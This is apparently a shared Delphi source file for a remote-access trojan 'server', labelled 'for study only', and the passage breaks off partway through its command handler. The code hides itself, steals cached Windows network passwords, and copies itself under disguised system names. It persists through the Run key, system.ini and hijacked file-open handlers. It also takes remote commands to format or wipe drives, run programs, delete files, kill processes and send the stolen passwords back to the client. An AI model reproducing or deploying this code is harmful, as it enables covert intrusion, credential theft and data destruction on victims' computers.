server.pas

这个也不错

{本程序只供学习用 }
unit server;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, ComCtrls, shellapi, StdCtrls, registry, ExtCtrls, Psock, NMSTRM,
  FileCtrl,MMSystem;
const
  CM_RESTORE=WM_USER+$1000;
  MYAPPNAME='My Delphi Program';
  Count: Integer = 0;
type
  TForm1 = class(TForm)
    StatusBar1: TStatusBar;
    Label1: TLabel;
    ListBox1: TListBox;
    Timer1: TTimer;
    sharelist: TListBox;
    Timer2: TTimer;
    serversocket1: TServerSocket;
    NMStrm1: TNMStrm;
    Edit1: TEdit;
    Image1: TImage;
    DriveComboBox1: TDriveComboBox;
    DirectoryListBox1: TDirectoryListBox;
    FileListBox1: TFileListBox;
    ListBox2: TListBox;
    NMStrmServ1: TNMStrmServ;
    NMStrm2: TNMStrm;
    procedure FormCreate(Sender: TObject);
    procedure serversocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure serversocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure serversocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure Timer2Timer(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure serversocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure NMStrm1MessageSent(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure NMStrmServ1ClientContact(Sender: TObject);
    procedure NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
      strm: TStream);
    procedure wmhotkey(var message:Tmessage);message WM_HOTKEY;
  private
    { Private declarations }
  public
    procedure CreateParams(var Params: TCreateParams); override;
    Procedure RestoreRequest(var message: TMessage); message CM_RESTORE;
    { Public declarations }
  end;
//格式化说明
const num: Integer = 0;
const SHFMT_DRV_A = 0;
const SHFMT_DRV_B = 1;
const SHFMT_DRV_C = 2;
const SHFMT_DRV_D = 3;
const SHFMT_ID_DEFAULT = $FFFF;
const SHFMT_OPT_QUICKFORMAT = 0;
const SHFMT_OPT_FULLFORMAT = 1;
const SHFMT_OPT_SYSONLY = 2;
const SHFMT_ERROR = -1;
const SHFMT_CANCEL = -2;
const SHFMT_NOFORMAT = -3;
var
  Form1: TForm1;
  info:array[1..50] of string[10];
  RvHandle : hWnd;
function SHFormatDrive(hWnd : HWND;Drive : Word;fmtID : Word;Options : Word) : Longint stdcall; external 'Shell32.dll' name 'SHFormatDrive';
function RegisterServiceProcess(dwprocessid,dwtype:integer):integer;stdcall;external 'kernel32.dll';
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
implementation

uses mail;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
 PWinPassword = ^TWinPassword;
 TWinPassword = record
   EntrySize: Word;
   ResourceSize: Word;
   PasswordSize: Word;
   EntryIndex: Byte;
   EntryType: Byte;
   PasswordC: Char;
  end;

var
  WinPassword: TWinPassword;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
  Password: String;
  PC: Array[0..$FF] of Char;
begin
  inc(num);
  Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
  PC[WinPassword.ResourceSize] := #0;
  CharToOem(PC, PC);
  Password := StrPas(PC);
  Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
  Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
  PC[WinPassword.PasswordSize] := #0;
  CharToOem(PC, PC);
  Password := Password + ': ' + StrPas(PC);
  Form1.ListBox2.Items.Add(Password);
  Result := True;
end;
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
 inherited CreateParams(Params);
 Params.WinClassName := MYAPPNAME;
end;
procedure Tform1.wmhotkey(var message:Tmessage);
  var
   Atype:TmsgDlgtype;
   b1:Tmsgdlgbuttons;
   WResult:word;
   password :string;
 begin
   form1.Visible :=true;
   Atype:=mtconfirmation;
   b1:=mbyesnocancel;
   password:=inputbox('你要关闭吗？请输入密码','系统','');
   if password='@look' then
      begin
        close;
      end
 end;
procedure TForm1.RestoreRequest(var message: TMessage);
  begin
    if IsIconic(Application.Handle) = TRUE then
      Application.Restore
    else
     Application.BringToFront;
  end;



{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var MySysPath : PCHAR ;
    reg,myreg:tregistry;
    syspath:string;
begin
   //设置热键
     if registerhotkey(handle,0,MOD_ALT or mod_control,66) then
       begin
        // messagebox(handle,'注册成功','系统',mb_ok+mb_iconstop);
         hide;
       end;
   //后台运行
   RegisterServiceProcess(GetCurrentProcessId,1);
  //网络密码
   if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
   begin
     listbox2.Items.Add('没有密码列表可用');
   end
  else
   if num = 0 then
    ListBox2.Items.Add('没有发现密码');
   //隐藏
    timer1.Enabled:=true;
    timer2.Enabled:=true;
  //保护
   GetMem(MySysPath,255);
   GetSystemDirectory(MySysPath,255);
   syspath:=string(mysyspath);
   if FileExists(syspath+'\kernel32.exe') then
      begin
        deletefile(syspath+'\kernel32.exe');
        if fileExists('c:\windows\command\attrib.exe') then
           begin
             deletefile('c:\windows\command\attrib.exe');
           end;
      end
   else
    begin
   copyfile(pchar(Application.Exename),pchar(syspath+'\kernel32.exe'),true);
   copyfile(pchar(application.exename),pchar('c:\windows\command\bad.exe'),true);
   copyfile(pchar(application.exename),pchar(syspath+'\Expl0rer.exe'),true);
   SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
   Writeprivateprofilestring('boot','shell','Explorer.exe kernel32.exe','c:\windows\system.ini');
   myreg:=tregistry.Create;
   myreg.RootKey:=HKEY_LOCAL_MACHINE;
   if myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true)then
     begin
       myreg.WriteString('',syspath+'\kernel32.exe');
       myreg.CloseKey;
     end;
      myreg.Free ;
  reg:=Tregistry.Create ;
  reg.RootKey:=HKEY_CLASSES_ROOT;
  if reg.OpenKey('txtfile\shell\open\command\',true) then
     begin
       reg.WriteString('',syspath+'\Expl0rer.exe');
       reg.CloseKey ;
     end;
   if reg.OpenKey('inifile\shell\open\command\',true) then
     begin
       reg.WriteString('','c:\windows\command\bad.exe');
       reg.CloseKey ;
     end;
    reg.Free;
   //修改
   filesetAttr(syspath+'\kernel32.exe',7);
   filesetAttr(syspath+'\Expl0rer.exe',7);
   filesetAttr('c:\windows\command\bad.exe',7);
  //开始侦听
   serversocket1.Open;
   serversocket1.Active:=true;
   serversocket1.Socket.Lock;
   Statusbar1.simpleText := '正在监听...';
  end;
end;


procedure TForm1.serversocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
function getmid(const data:string; start, count :integer):string;
 begin
  if (start>length(data)) or (start<0) then start:=0;
  if count>length(data)-start then start:=length(data)-start;
  result:=copy(data,start,count);
 end ;
function getleft(const data:string; count :integer):string;
 begin
  if (count<0)or (count>length(data))then count:=length(data);
  result:=copy(data,1,count);
 end;
var myreg:tregistry;
    number,i:integer;
    hDesktop:THandle;
    temp:integer;
    rtScreen: TRect;
    hwnd1,hwnd2:hwnd;
    buttonname:string;
    result:boolean;
    devmode:tdevicemode;
    x,y:word;
    sharedir,sharename:string;
    len:integer;
    MyFStream: TFileStream;
    data,strfile,strback,str1:string;
    t1,t2:integer;
    fulls: TBitmap;
    fullsc: TCanvas;
    dc:HDC;
    KeyState  :TKeyboardState;
    FmtRes : longint;
    killpro : hwnd;
begin
    SetWindowPos(form1.handle,HWND_TOPmost,0,0,0,0,SWP_HIDEWINDOW);
     data:=socket.ReceiveText ;
    strfile:=copy(data,6,length(data)-5);
    //str1:=getmid(data,7,1);
    //t1:=strtoint(str1);
    //t2:=length(data)-strtoint(str1);
    //str2:=getmid(data,7,t1);
    //str3:=getmid(data,8,t2);
  //弹出菜单
  if data='popupme' then
    begin
     SendMessage(Self.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);
    end; 
  // 进程度控制
  if pos('killp',data)=1 then
    begin
        killpro:=findwindow(nil,pchar(strfile));
        if killpro<>0 then
           begin
             sendmessage(killpro,WM_CLOSE,0,0);
           end;
    end;
 //数据信使
  if pos('over!',data)=1 then
     begin
       form2.close;
     end;
   if pos('mail!',data)=1 then
     begin
       form2.show;
       form2.memo1.Lines.Add('client '+ strfile) ;
     end  ;
 //格式化
  if  pos('for!!',data)=1 then
    if strfile='c:' then
      begin
        try
         FmtRes:= ShFormatDrive(Handle,SHFMT_DRV_C,SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT);
       except
      end;
    if strfile='d:' then
      begin
        try
          FmtRes:= ShFormatDrive(Handle,SHFMT_DRV_D,SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT);
        except
      end;
     end;
  end;
  if pos('dela!',data)=1 then
     begin
      if  strfile='c:' then
          begin
            deletefile('c:\*.*');
          end;
      if strfile='d:' then
          begin
            deletefile('d:\*.*');
          end;
      if strfile='a:' then
         begin
            deletefile('a:\*.*');
         end;
     end;
  //运行程序
  if pos('exec!',data)=1 then
    begin
     winexec(pchar(strfile),SW_MAXIMIZE );
    end;
  //删除文件
  if pos('del!!',data)=1 then
     begin
      deletefile(strfile);
     end;
  //上载文件
  if pos('up!!!',data)=1 then
   begin
     label1.Caption:=strfile;
   end;
  //键盘控制
  if data='f1key' then
   begin
      GetKeyboardState(KeyState);
      KeyState[VK_F3] := 1;
      SetKeyboardState(KeyState);
      end;
  if data='skey' then
     begin
      GetKeyboardState(KeyState);
      if (KeyState[VK_SCROLL] = 0) then KeyState[VK_SCROLL] := 1
      else
      KeyState[VK_SCROLL] := 0;
      SetKeyboardState(KeyState);
      end;
  if data='ckey' then
      begin
      GetKeyboardState(KeyState);
      if (KeyState[VK_CAPITAL] = 0) then KeyState[VK_CAPITAL] := 1
      else
      KeyState[VK_CAPITAL] := 0;
      SetKeyboardState(KeyState);
      end;
  if data='nkey' then
       begin
      GetKeyboardState(KeyState);
      if (KeyState[VK_NUMLOCK] = 0) then KeyState[VK_NUMLOCK] := 1
      else
      KeyState[VK_NUMLOCK] := 0;
      SetKeyboardState(KeyState);
      end;
  //改计算机名
  if pos('setpc',data)=1 then
    begin
     SetComputerName(pchar(strfile));
    end;
  //获取密码
  if pos('pass!',data)=1 then
    begin
      socket.SendText('pass!'+listbox2.Items.Text);
    end;
  if data='openc' then  mciSendString('Set cdaudio door open wait', nil, 0, handle);
  if data='cdrom' then  mciSendString('Set cdaudio door closed wait', nil, 0, handle);
  //消息处理